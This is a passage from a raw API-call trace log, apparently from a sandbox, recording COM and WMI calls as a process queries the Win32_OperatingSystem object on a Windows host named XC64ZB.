[4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2e8 | out: ppvObject=0x1da9e2e8*=0x1b286b08) returned 0x0 [0290.336] IClientSecurity:QueryBlanket (in: This=0x1b286b08, pProxy=0x1b286b00, pAuthnSvc=0x1da9e3b0, pAuthzSvc=0x1da9e330, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334, pImpLevel=0x1da9e340, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344 | out: pAuthnSvc=0x1da9e3b0*=0xa, pAuthzSvc=0x1da9e330*=0x0, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334*=0x6, pImpLevel=0x1da9e340*=0x2, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344*=0x1) returned 0x0 [0290.337] IUnknown:Release (This=0x1b286b08) returned 0x1 [0290.337] IUnknown:QueryInterface (in: This=0x1b286b00, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e280 | out: ppvObject=0x1da9e280*=0x1b202838) returned 0x0 [0290.337] IUnknown:QueryInterface (in: This=0x1b286b00, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e290 | out: ppvObject=0x1da9e290*=0x1b286b08) returned 0x0 [0290.337] IClientSecurity:SetBlanket (This=0x1b286b08, pProxy=0x1b286b00, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0290.352] IUnknown:Release (This=0x1b286b08) returned 0x2 [0290.352] WbemLocator:IUnknown:Release (This=0x1b202838) returned 0x1 [0290.352] CoTaskMemFree (pv=0x1d1e6930) [0290.352] IUnknown:QueryInterface (in: This=0x1b286b00, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd50 | out: ppvObject=0x1da9dd50*=0x1b202838) returned 0x0 [0290.353] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dde0 | out: ppvObject=0x1da9dde0*=0x0) returned 0x80004002 [0290.353] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x0) returned 0x80004002 [0290.354] IUnknown:QueryInterface (in: This=0x1b286b00, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5d8 | out: ppvObject=0x1da9d5d8*=0x0) returned 0x80004002 [0290.354] WbemLocator:IUnknown:AddRef (This=0x1b202838) returned 0x3 [0290.354] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d498 | out: ppvObject=0x1da9d498*=0x0) returned 0x80004002 [0290.354] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d420 | out: ppvObject=0x1da9d420*=0x0) returned 0x80004002 [0290.354] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d410 | out: ppvObject=0x1da9d410*=0x1b202718) returned 0x0 [0290.355] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202718, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d438 | out: pCid=0x1da9d438*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0290.355] WbemLocator:IUnknown:Release (This=0x1b202718) returned 0x3 [0290.355] CoGetContextToken (in: pToken=0x1da9d4c0 | out: pToken=0x1da9d4c0) returned 0x0 [0290.355] CoGetContextToken (in: pToken=0x1da9d940 | out: pToken=0x1da9d940) returned 0x0 [0290.355] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x1b202800) returned 0x0 [0290.355] WbemLocator:IRpcOptions:Query (in: This=0x1b202800, pPrx=0x1b202838, dwProperty=2, pdwValue=0x1da9d9f0 | out: pdwValue=0x1da9d9f0) returned 0x80004002 [0290.355] WbemLocator:IUnknown:Release (This=0x1b202800) returned 0x3 [0290.355] WbemLocator:IUnknown:Release (This=0x1b202838) returned 0x2 [0290.355] CoGetContextToken (in: pToken=0x1da9e000 | out: pToken=0x1da9e000) returned 0x0 [0290.355] CoGetContextToken (in: pToken=0x1da9df00 | out: pToken=0x1da9df00) returned 0x0 [0290.355] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x1da9e060*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e030 | out: ppvObject=0x1da9e030*=0x1b286b00) returned 0x0 [0290.355] IUnknown:AddRef (This=0x1b286b00) returned 0x4 [0290.356] IUnknown:Release (This=0x1b286b00) returned 0x3 [0290.356] IUnknown:Release (This=0x1b286b00) returned 0x2 [0290.356] WbemLocator:IUnknown:Release (This=0x1d290350) returned 0x2 [0290.356] SysStringLen (param_1=0x0) returned 0x0 [0290.356] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e658 | out: puCount=0x1da9e658*=0x2) returned 0x0 [0290.356] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e650*=0xf, pszText=0x0) returned 0x0 [0290.356] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e650*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0290.356] CoGetContextToken (in: pToken=0x1da9e190 | out: pToken=0x1da9e190) returned 0x0 [0290.356] IUnknown:AddRef (This=0x1b286b00) returned 0x3 [0290.356] IEnumWbemClassObject:Clone (in: This=0x1b286b00, ppEnum=0x1da9e590 | out: ppEnum=0x1da9e590*=0x1b286470) returned 0x0 [0290.526] IUnknown:QueryInterface (in: This=0x1b286470, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e318 | out: ppvObject=0x1da9e318*=0x1b286478) returned 0x0 [0290.527] IClientSecurity:QueryBlanket (in: This=0x1b286478, pProxy=0x1b286470, pAuthnSvc=0x1da9e3e0, pAuthzSvc=0x1da9e360, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364, pImpLevel=0x1da9e370, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374 | out: pAuthnSvc=0x1da9e3e0*=0xa, pAuthzSvc=0x1da9e360*=0x0, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364*=0x6, pImpLevel=0x1da9e370*=0x2, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374*=0x1) returned 0x0 [0290.527] IUnknown:Release (This=0x1b286478) returned 0x1 [0290.527] IUnknown:QueryInterface (in: This=0x1b286470, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2b0 | out: ppvObject=0x1da9e2b0*=0x1b2031f8) returned 0x0 [0290.527] IUnknown:QueryInterface (in: This=0x1b286470, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2c0 | out: ppvObject=0x1da9e2c0*=0x1b286478) returned 0x0 [0290.527] IClientSecurity:SetBlanket (This=0x1b286478, pProxy=0x1b286470, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0290.866] IUnknown:Release (This=0x1b286478) returned 0x2 [0290.866] WbemLocator:IUnknown:Release (This=0x1b2031f8) returned 0x1 [0290.866] CoTaskMemFree (pv=0x1d1e66f0) [0290.866] IUnknown:QueryInterface (in: This=0x1b286470, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd70 | out: ppvObject=0x1da9dd70*=0x1b2031f8) returned 0x0 [0290.866] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9de00 | out: ppvObject=0x1da9de00*=0x0) returned 0x80004002 [0290.867] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x0) returned 0x80004002 [0290.867] IUnknown:QueryInterface (in: This=0x1b286470, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5f8 | out: ppvObject=0x1da9d5f8*=0x0) returned 0x80004002 [0290.868] WbemLocator:IUnknown:AddRef (This=0x1b2031f8) returned 0x3 [0290.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d4b8 | out: ppvObject=0x1da9d4b8*=0x0) returned 0x80004002 [0290.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d440 | out: ppvObject=0x1da9d440*=0x0) returned 0x80004002 [0290.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d430 | out: ppvObject=0x1da9d430*=0x1b2030d8) returned 0x0 [0290.868] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b2030d8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d458 | out: pCid=0x1da9d458*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0290.868] WbemLocator:IUnknown:Release (This=0x1b2030d8) returned 0x3 [0290.868] CoGetContextToken (in: pToken=0x1da9d4e0 | out: pToken=0x1da9d4e0) returned 0x0 [0290.868] CoGetContextToken (in: pToken=0x1da9d960 | out: pToken=0x1da9d960) returned 0x0 [0290.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x1b2031c0) returned 0x0 [0290.869] WbemLocator:IRpcOptions:Query (in: This=0x1b2031c0, pPrx=0x1b2031f8, dwProperty=2, pdwValue=0x1da9da10 | out: pdwValue=0x1da9da10) returned 0x80004002 [0290.869] WbemLocator:IUnknown:Release (This=0x1b2031c0) returned 0x3 [0290.869] WbemLocator:IUnknown:Release (This=0x1b2031f8) returned 0x2 [0290.870] CoGetContextToken (in: pToken=0x1da9e020 | out: pToken=0x1da9e020) returned 0x0 [0290.870] CoGetContextToken (in: pToken=0x1da9df20 | out: pToken=0x1da9df20) returned 0x0 [0290.870] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x1da9e080*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e050 | out: ppvObject=0x1da9e050*=0x1b286470) returned 0x0 [0290.870] IUnknown:AddRef (This=0x1b286470) returned 0x4 [0290.870] IUnknown:Release (This=0x1b286470) returned 0x3 [0290.870] IUnknown:Release (This=0x1b286470) returned 0x2 [0290.870] IUnknown:Release (This=0x1b286b00) returned 0x2 [0290.870] SysStringLen (param_1=0x0) returned 0x0 [0290.870] IEnumWbemClassObject:Reset (This=0x1b286470) returned 0x0 [0290.872] CoTaskMemAlloc (cb=0x8) returned 0x1d1c0fc0 [0290.872] IEnumWbemClassObject:Next (in: This=0x1b286470, lTimeout=-1, uCount=0x1, apObjects=0x1d1c0fc0, puReturned=0x26c7518 | out: apObjects=0x1d1c0fc0*=0x1b269210, puReturned=0x26c7518*=0x1) returned 0x0 [0290.878] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b269210) returned 0x0 [0290.878] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d9a0 | out: ppvObject=0x1da9d9a0*=0x0) returned 0x80004002 [0290.878] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0290.878] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d198 | out: ppvObject=0x1da9d198*=0x0) returned 0x80004002 [0290.878] IUnknown:AddRef (This=0x1b269210) returned 0x3 [0290.878] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0290.879] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cfe0 | out: ppvObject=0x1da9cfe0*=0x0) returned 0x80004002 [0290.879] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9cfd0 | out: ppvObject=0x1da9cfd0*=0x1b269218) returned 0x0 [0290.879] IMarshal:GetUnmarshalClass (in: This=0x1b269218, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9cff8 | out: pCid=0x1da9cff8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0290.879] IUnknown:Release (This=0x1b269218) returned 0x3 [0290.879] CoGetContextToken (in: pToken=0x1da9d080 | out: pToken=0x1da9d080) returned 0x0 [0290.879] CoGetContextToken (in: pToken=0x1da9d500 | out: pToken=0x1da9d500) returned 0x0 [0290.879] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0290.879] IUnknown:Release (This=0x1b269210) returned 0x2 [0290.879] CoGetContextToken (in: pToken=0x1da9dbc0 | out: pToken=0x1da9dbc0) returned 0x0 [0290.879] CoGetContextToken (in: pToken=0x1da9dac0 | out: pToken=0x1da9dac0) returned 0x0 [0290.879] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x1da9dc20*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9dbf0 | out: ppvObject=0x1da9dbf0*=0x1b269210) returned 0x0 [0290.879] IUnknown:AddRef (This=0x1b269210) returned 0x4 [0290.879] IUnknown:Release (This=0x1b269210) returned 0x3 [0290.879] IUnknown:Release (This=0x1b269210) returned 0x2 [0290.879] CoTaskMemFree (pv=0x1d1c0fc0) [0290.879] CoGetContextToken (in: pToken=0x1da9df90 | out: pToken=0x1da9df90) returned 0x0 [0290.879] IUnknown:AddRef (This=0x1b269210) returned 0x3 [0290.880] IWbemClassObject:Get (in: This=0x1b269210, wszName="__GENUS", lFlags=0, pVal=0x1da9e550*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e678*=0, plFlavor=0x1da9e670*=0 | out: pVal=0x1da9e550*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1da9e678*=3, plFlavor=0x1da9e670*=64) returned 0x0 [0290.880] IWbemClassObject:Get (in: This=0x1b269210, wszName="__PATH", lFlags=0, pVal=0x1da9e500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e630*=0, plFlavor=0x1da9e628*=0 | out: pVal=0x1da9e500*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1da9e630*=8, plFlavor=0x1da9e628*=64) returned 0x0 [0290.880] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0290.881] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0290.881] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e578 | out: ppv=0x1da9e578*=0x77dd58) returned 0x0 [0290.881] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e568 | out: pAptType=0x1da9e568*=1) returned 0x0 [0290.881] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e570 | out: ppvObject=0x1da9e570*=0x0) returned 0x80004002 [0290.881] IUnknown:Release (This=0x77dd58) returned 0x1 [0290.883] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9d968 | out: ppv=0x1da9d968*=0x1d217fd0) returned 0x0 [0290.883] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d217fd0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da50 | out: ppvObject=0x1da9da50*=0x0) returned 0x80004002 [0290.883] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d217fd0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da28 | out: ppvObject=0x1da9da28*=0x1b294ca0) returned 0x0 [0290.883] WbemDefPath:IUnknown:Release (This=0x1d217fd0) returned 0x0 [0290.883] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294ca0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d7d0 | out: ppvObject=0x1da9d7d0*=0x1b294ca0) returned 0x0 [0290.883] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294ca0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d860 | out: ppvObject=0x1da9d860*=0x0) returned 0x80004002 [0290.883] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294ca0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0290.884] WbemDefPath:IUnknown:AddRef (This=0x1b294ca0) returned 0x3 [0290.884] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294ca0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9cf18 | out: ppvObject=0x1da9cf18*=0x0) returned 0x80004002 [0290.884] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294ca0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cea0 | out: ppvObject=0x1da9cea0*=0x0) returned 0x80004002 [0290.884] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294ca0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ce90 | out: ppvObject=0x1da9ce90*=0x1d218210) returned 0x0 [0290.884] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d218210, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9ceb8 | out: pCid=0x1da9ceb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0290.884] WbemDefPath:IUnknown:Release (This=0x1d218210) returned 0x3 [0290.884] CoGetContextToken (in: pToken=0x1da9cf40 | out: pToken=0x1da9cf40) returned 0x0 [0290.884] CoGetContextToken (in: pToken=0x1da9d3c0 | out: pToken=0x1da9d3c0) returned 0x0 [0290.884] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294ca0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d480 | out: ppvObject=0x1da9d480*=0x0) returned 0x80004002 [0290.884] WbemDefPath:IUnknown:Release (This=0x1b294ca0) returned 0x2 [0290.884] WbemDefPath:IUnknown:Release (This=0x1b294ca0) returned 0x1 [0290.884] CoGetContextToken (in: pToken=0x1da9e1b0 | out: pToken=0x1da9e1b0) returned 0x0 